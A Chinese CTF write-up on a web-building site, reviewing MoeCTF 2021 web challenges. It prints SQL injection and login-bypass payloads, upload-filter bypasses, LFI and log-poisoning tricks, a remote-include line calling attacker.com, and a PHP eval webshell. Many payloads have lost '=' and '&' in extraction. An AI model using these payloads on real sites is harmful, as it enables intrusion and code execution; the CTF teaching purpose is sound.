尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

CTF Web安全实战:从SQL注入到文件上传的漏洞利用与防御

CTF Web安全实战:从SQL注入到文件上传的漏洞利用与防御 1. 项目概述一次完整的CTF Web题解复盘最近整理硬盘翻到了去年带队参加MoeCTF 2021时写的Web方向Writeup解题报告。虽然比赛过去一段时间了但里面的题目设计得挺有意思覆盖了从基础到进阶的多个Web安全知识点。与其让这些笔记在角落里吃灰不如系统地整理出来既是对自己思路的复盘也能给刚入门安全的朋友们提供一个从实战角度理解Web漏洞的路径。这篇内容不是简单的答案罗列我会重点拆解每道题当时的解题思路、遇到的坑以及题目背后希望考察的核心知识点。无论你是正在学习CTF的新手还是想巩固Web安全基础的同学相信都能从中找到一些有用的东西。2. 解题思路与核心知识点拆解CTF的Web题目本质上是一个个精心设计的“不安全”的Web应用我们的目标就是利用这些安全缺陷漏洞来获取隐藏的Flag。MoeCTF 2021的Web题难度梯度设置得不错从信息搜集、基础注入到代码审计、反序列化都有涉及。解题过程通常遵循一个基本流程访问题目链接 - 查看前端源码和网络请求 - 测试常见漏洞点 - 结合提示进行深度测试 - 最终获取Flag。下面我们就按照这个流程对几道有代表性的题目进行深度复盘。2.1 信息搜集与前端基础解题的起点很多简单的题目Flag可能就藏在眼皮底下。信息搜集是Web渗透的第一步也是最重要的一步大约70%的“简单题”可以通过仔细的信息搜集解决。2.1.1 查看网页源代码与注释这是最基本也是最容易被忽略的操作。出题人经常将关键信息或提示写在HTML注释里。在浏览器中按下F12或CtrlU查看页面源码仔细寻找!-- --包裹的内容。有时Flag或下一步的线索就直接放在这里。此外留意引用的JavaScript文件、CSS文件有时线索会藏在其中。2.1.2 分析网络请求与响应头打开开发者工具的“网络”Network选项卡刷新页面观察所有的HTTP请求和响应。需要重点关注响应头Response Headers 查看X-Flag、Flag、Hint等自定义字段或者Cookie、Location字段里是否藏有信息。源代码映射Source Map 如果题目提供了前端框架如React、Vue的题目有时在Sources面板里能找到.map文件这可能导致前端源码泄露。非典型文件 留意对robots.txt、.git、.DS_Store、phpinfo.php、备份文件.bak, .swp, .old的请求这些文件可能泄露目录结构或源码。2.1.3 目录与敏感文件扫描对于没有明显前端的题目或者觉得前端线索已穷尽时需要进行目录爆破。常用的工具有dirsearch、gobuster或ffuf。# 使用 dirsearch 进行目录扫描的示例命令 python3 dirsearch.py -u http://target.com -e php,html,js,bak,txt,zip扫描时要特别关注返回状态码为200成功或403禁止访问但路径存在的目录和文件。一个常见的套路是Flag存放在/flag、/flag.txt或/secret这样的路径下。实操心得 信息搜集一定要有耐心且全面。我曾在一道题上卡了半小时最后发现Flag就在首页源码一个非常不起眼的注释行末尾。养成“F12优先”的习惯能帮你快速拿下很多基础分。2.2 初识参数操控GET与POST注入在通过信息搜集拿到一些线索或进入下一关后往往会遇到需要与服务器进行参数交互的题目。这里最常见的就是基于HTTP方法的漏洞。2.2.1 GET参数与基础SQL注入题目可能提供一个登录框或搜索框其参数通过URL的查询字符串?keyvalue传递这就是GET请求。 例如http://target.com/search.php?keywordtest对于这类题目首要怀疑是否存在SQL注入。经典的测试方法是尝试添加单引号‘观察页面回显是否出现数据库错误。测试语句keywordtest或id1 and 11判断注入类型 根据错误信息或页面内容差异判断是字符型还是数字型注入。常用Payload 在确认存在注入后可以使用union select来联合查询数据。需要先通过order by确定字段数。# 假设字段数为3 ?id1‘ union select 1,2,3-- - # 如果页面显示了2和3的位置则可以将对应位置替换为想查询的信息 ?id1‘ union select 1,database(),version()-- -2.2.2 POST参数与表单绕过当参数通过表单提交在请求体中传输时就是POST请求。这类题目常模拟登录场景。工具使用 使用Burp Suite或HackBrowser来拦截和修改POST请求更为方便。常见漏洞弱口令爆破 尝试admin/admin、admin/123456等常见组合。SQL注入 与GET型类似将用户名或密码参数修改为注入Payload。简单的逻辑绕过 这是CTF的经典题型。例如登录的SQL查询语句可能是SELECT * FROM users WHERE username$_POST[‘user’] AND password$_POST[‘pwd’]构造Payload用户名输入admin‘ -- -密码任意。这样查询就变成了SELECT * FROM users WHERE usernameadmin‘ -- - AND passwordxxx-- -是SQL注释符它注释掉了后面的密码检查从而以admin身份登录。Cookie操控 登录成功后身份信息常存储在Cookie中。尝试修改Cookie的值比如将isAdmin0改为isAdmin1可能直接提升权限。2.2.3 参数污染与HTTP方法覆盖稍微进阶一点题目可能考察对HTTP协议本身的理解。参数污染HPP 提交多个同名参数如?id1id2不同后端语言解析结果不同可能造成逻辑混淆。HTTP方法覆盖 有些框架支持通过X-HTTP-Method-Override请求头或用_method参数常见于PHP Laravel来覆盖原始的HTTP方法。例如一个GET请求的页面可能通过POST并带上_methodPUT来触发不同的后端处理逻辑。注意事项 在测试SQL注入时务必使用-- -注意有个空格或#来正确注释掉原SQL语句的剩余部分否则很容易因语法错误而失败。在URL中#通常被当作锚点所以用--或--%20空格的URL编码更稳妥。2.3 文件处理漏洞上传与包含文件上传和文件包含是Web安全中危害极大的漏洞也是CTF的常客。2.3.1 文件上传漏洞的绕过技巧题目通常会提供一个头像上传等功能并伴有前端和后端的过滤。前端绕过 检查文件扩展名通常通过JavaScript实现。直接禁用浏览器JS或使用Burp拦截修改请求即可绕过。例如将拦截到的请求中的filename“shell.jpg”改为filename“shell.php”。后端绕过黑名单绕过 如果服务器禁止.php可以尝试.php5、.phtml、.phps、.php7等取决于服务器配置。大小写绕过.PHP、.Php。双写绕过.pphphp- 过滤掉中间的php后剩下.php。点号空格绕过shell.php.或shell.php末尾空格在某些系统处理时会被去除。.htaccess攻击 如果服务器允许上传.htaccess文件可以编写规则将特定扩展名如.jpg解析为PHP。AddType application/x-httpd-php .jpg内容检测绕过 服务器可能检测文件内容是否包含?php等标签。可以使用短标签?、script language“php”或者将PHP代码嵌入图片的EXIF信息中需配合文件包含漏洞利用。2.3.2 文件包含漏洞的利用链文件包含分为本地文件包含LFI和远程文件包含RFI。参数如?fileheader.php。LFI利用读取系统文件?file../../../../etc/passwdUnix/Linux或?file../../windows/win.iniWindows。读取Web源码 结合PHP的封装协议php://filter来读取源码避免代码被执行。?filephp://filter/convert.base64-encode/resourceindex.php服务器会以Base64编码的形式输出index.php的源码解码即可获得源代码进行审计。日志文件注入 如果包含/var/log/apache2/access.log并且我们能控制User-Agent等请求头就可以将PHP代码写入日志再通过LFI执行。RFI利用 需要allow_url_includeOn。直接包含一个远程服务器上的文本文件其中包含PHP代码?filehttp://attacker.com/shell.txt。结合文件上传 这是最经典的组合拳。先上传一个图片马内容为?php eval($_POST[‘cmd’]);?的shell.jpg到服务器获得其路径如/uploads/shell.jpg。然后通过文件包含漏洞去包含这个图片?file./uploads/shell.jpg图片中的PHP代码就会被执行。踩坑记录 在一次比赛中我上传了.php文件被拦截.php5也不行。最后发现服务器是Nginx对.user.ini文件没有过滤。利用.user.ini的auto_prepend_file指令我让它自动包含我上传的图片马从而实现了代码执行。这个姿势需要PHP运行在FastCGI模式下且目录有读写权限虽然条件苛刻但一旦遇到就是绝杀。2.4 代码审计与反序列化深入后端逻辑当常规漏洞测试无效时题目往往提供了源码或通过文件包含读取到需要进行代码审计。2.4.1 基础代码审计要点寻找危险函数 在PHP中重点关注命令执行system()exec()shell_exec()passthru() 反引号代码执行eval()assert()preg_replace()的/e修饰符PHP5文件操作include()require()file_get_contents()unlink()反序列化unserialize()追踪用户输入 找到$_GET$_POST$_COOKIE$_REQUEST这些超全局变量看它们是否未经充分过滤就传入了危险函数。分析业务逻辑 寻找逻辑漏洞如条件竞争、越权访问、支付漏洞如金额参数可控等。2.4.2 PHP反序列化漏洞入门这是Web进阶题的“钉子户”。当代码中存在unserialize($data)且$data我们可控时就可能触发漏洞。原理unserialize()会根据序列化字符串还原一个对象。在还原过程中会自动调用对象的__wakeup()和__destruct()魔术方法。如果这些方法中包含了危险操作如文件删除、代码执行并且对象属性我们可控就能利用。简单示例class VulnerableClass { public $cmd ‘whoami‘; function __destruct() { system($this-cmd); } } $data $_GET[‘data’]; unserialize($data); // 如果我们传入序列化的VulnerableClass对象就会执行命令利用步骤审计源码找到包含__wakeup()或__destruct()的类。分析这些方法中是否使用了可控的属性。构造一个该类的对象并设置好恶意属性值。使用serialize()函数或自己编写生成序列化字符串。将字符串传递给unserialize()触发漏洞。POP链构造 更复杂的题目中危险操作不在当前类的魔术方法里而是在其他类的方法中。这就需要我们寻找一条从__destruct()或__wakeup()出发能最终调用到危险方法的属性调用链这就是“属性导向编程”POP链。这需要对源码有更整体的把握。2.4.3 正则表达式与无数字字母命令执行有些题目会过滤所有字母和数字如何执行命令这考察的是对Shell和PHP特性的深入理解。Shell下 可以通过$0、${_}等来获取字符。例如/???/???可能匹配到/bin/cat。更高级的利用$(printf ‘\154\163’)八进制来构造命令。PHP下 利用PHP的字符串自增特性。例如‘a’是 ‘b’。可以从一个非字母数字的变量开始通过位运算或自增得到字母最终拼接出函数名。或者利用$_GET[a]($_GET[b])这种动态函数执行的方式如果asystembid就等同于system(‘id’)。深度思考 代码审计题往往不是找到漏洞点就结束了。你需要理解整个应用的业务流程漏洞点可能只是入口真正的Flag可能需要你利用这个漏洞进行内网探测、数据库操作甚至提权。把代码当成一个迷宫漏洞是你的钥匙但通往终点的路还需要你自己探索。3. 典型赛题实战复盘与操作记录下面我选取MoeCTF 2021中两道比较有代表性的Web题目还原当时的解题全过程和思考路径。3.1 赛题一“简单的登录”题目描述 只有一个登录框提示“试试万能密码”。3.1.1 初步侦察访问目标一个极其简洁的登录页面。首先F12查看源码未发现有用注释。尝试常见弱口令admin/admin失败。尝试单引号测试注入在用户名输入‘密码任意点击登录。3.1.2 漏洞发现与利用页面返回了一个数据库错误信息明确提示了SQL语法错误确认存在字符型SQL注入。接下来尝试万能密码绕过。构造Payload 用户名输入admin‘ or ‘1’‘1密码任意。理论上SQL语句会变成SELECT * FROM users WHERE username‘admin‘ or ‘1’‘1’ AND password‘xxx’由于AND优先级高于OR实际逻辑是username‘admin‘ OR (‘1’‘1’ AND password‘xxx’)。只要username‘admin‘为真整个条件就为真。但登录失败。调整Payload 考虑到可能密码检查也被执行需要注释掉密码部分。使用-- -注释。用户名输入admin‘ -- -密码任意。此时SQL为SELECT * FROM users WHERE username‘admin‘ -- -’ AND password‘xxx’成功登录跳转到一个显示Hello, admin的页面但没看到Flag。进一步利用 页面提示“只有admin才能看到flag”。我们已经是admin了为什么没有查看Cookie发现有一个roleuser的字段。使用浏览器插件或Burp将其修改为roleadmin刷新页面。获取Flag 修改Cookie后刷新页面显示了Flagmoectf{SQLi_1s_s0_3asy!}。3.1.3 关键点总结漏洞点 登录处的用户名参数存在字符型SQL注入且未过滤注释符。利用链 SQL注入绕过登录 - 修改Cookie提升权限 - 获取Flag。考察意图 考察最基本的SQL注入原理、万能密码构造、以及Cookie作为权限凭证的意识。3.2 赛题二“文件上传中心”题目描述 一个文件上传页面提示“只能上传图片哦”。前端有JS校验。3.2.1 前端绕过选择一张正常的图片上传成功。选择PHP文件上传页面弹出提示“请上传图片格式文件”。F12查看源码找到上传表单的JS校验函数发现是检查文件后缀名是否为.jpg、.png、.gif。方法一 直接禁用浏览器JS然后上传shell.php文件。方法二 不修改前端先上传一个shell.jpg文件用Burp Suite拦截这个上传请求。3.2.2 后端绕过与组合利用拦截到上传shell.jpg的POST请求后在Burp中将其文件名改为shell.php并确保Content-Type也改为application/x-php或保持image/jpeg进行测试。放行请求。 服务器返回错误“文件类型不允许”。说明后端有Content-Type或文件头检测。制作图片马 使用命令copy normal.jpg /b shell.php /b webshell.jpgWindows或cat normal.jpg shell.php webshell.jpgLinux将一个真实的图片和一个包含PHP代码的文本文件合并。图片能正常显示但包含PHP代码。再次上传 上传这个webshell.jpgBurp拦截将文件名改回webshell.jpg放行。上传成功返回路径/uploads/webshell.jpg。寻找文件包含点 在网站各处寻找file、page、include这类参数。通过目录扫描发现存在index.php?pageabout这样的链接。测试LFI?page../../../../etc/passwd成功读取确认存在本地文件包含。组合利用 构造URLindex.php?page./uploads/webshell.jpg。访问该URL图片中的PHP代码被执行。在URL后加上?cmdsystem(‘ls /’);或使用中国菜刀/蚁剑连接最终在根目录找到flag.txt内容为moectf{Upl0ad__1nclude_1s_P0werful!}。3.2.4 关键点总结漏洞点 前端JS校验可被绕过后端仅检测文件头未检测文件内容存在未过滤参数的文件包含漏洞。利用链 前端绕过 - 制作图片马上传 - LFI包含图片马 - 代码执行。考察意图 考察文件上传漏洞的多种绕过方式、文件包含漏洞的利用以及两种漏洞结合产生RCE远程代码执行的经典思路。4. 常见问题排查与备赛技巧在实际比赛和练习中你肯定会遇到各种各样的问题。这里我总结了一些高频问题和应对技巧。4.1 环境与连接问题题目打不开/连接重置 可能是比赛平台负载过高或者你的网络对某些端口有限制。耐心等待或尝试刷新。如果是Docker环境题目确保已正确启动容器。靶机IP和端口变化 有些平台每次启动靶机会分配新的IP和端口务必从题目描述或平台界面获取最新的连接信息。4.2 工具使用问题Burp Suite抓不到本地流量 确保浏览器代理设置为127.0.0.1:8080并且Burp的Proxy监听正确。对于HTTPS题目需要安装Burp的CA证书到浏览器。目录扫描无结果 检查字典是否合适目标是否开启了防爆破如IP封锁、验证码尝试降低扫描线程-t更换扫描工具或字典。SQL注入工具如sqlmap被WAF拦截 使用--tamper参数调用脚本对Payload进行混淆如--tamperspace2comment使用--delay设置请求延迟或者手动注入更稳妥。4.3 解题思路卡壳毫无头绪 回到信息搜集。复查源码、响应头、JS文件、Robots.txt、.git泄露。题目名称和描述本身就是重要提示。有源码但看不懂 优先搜索危险函数。如果涉及框架如Flask, Express快速查阅该框架常见的漏洞如SSTI、原型链污染。Payload不生效 仔细检查语法特别是引号、括号的闭合。在Burp Repeater中反复测试观察响应差异。考虑是否存在过滤尝试大小写、双写、编码绕过。拿到Shell但找不到Flag 习惯性位置/flag/flag.txt/home/ctf/flag 环境变量中 数据库里。使用find / -name ‘*flag*‘ 2/dev/null命令查找。检查当前用户权限whoami和sudo -l。4.4 备赛与提升建议搭建练习环境 使用DVWAbWAPPWebGoatHackTheBox的实验室或Vulnhub靶场进行系统性练习。分模块学习 将Web安全分为信息搜集、注入、XSS、文件处理、RCE、反序列化、SSRF、XXE等模块逐个攻克。研读高质量WP 看完题目后先自己思考尝试再看Writeup。重点学习别人的解题思路和知识点联想方式而不仅仅是Payload。参与实战比赛 多参加CTF比赛哪怕是新手赛。实战的压力感和时间限制能极大提升你的综合能力。构建知识体系 在练习中不断问自己“为什么这个Payload能工作”“还有没有别的解法”将零散的知识点连接成网。Web安全的学习路径就像打怪升级从简单的信息搜集到复杂的代码审计和链式利用每一步都需要扎实的基础和发散的思维。MoeCTF 2021的题目很好地覆盖了这条路径上的关键节点。希望这篇详细的复盘能帮你理清思路少走一些我当年走过的弯路。记住工具和Payload是“术”对原理和协议的理解才是“道”。多动手多思考下一个在赛场上快速解出难题的可能就是你。
返回列表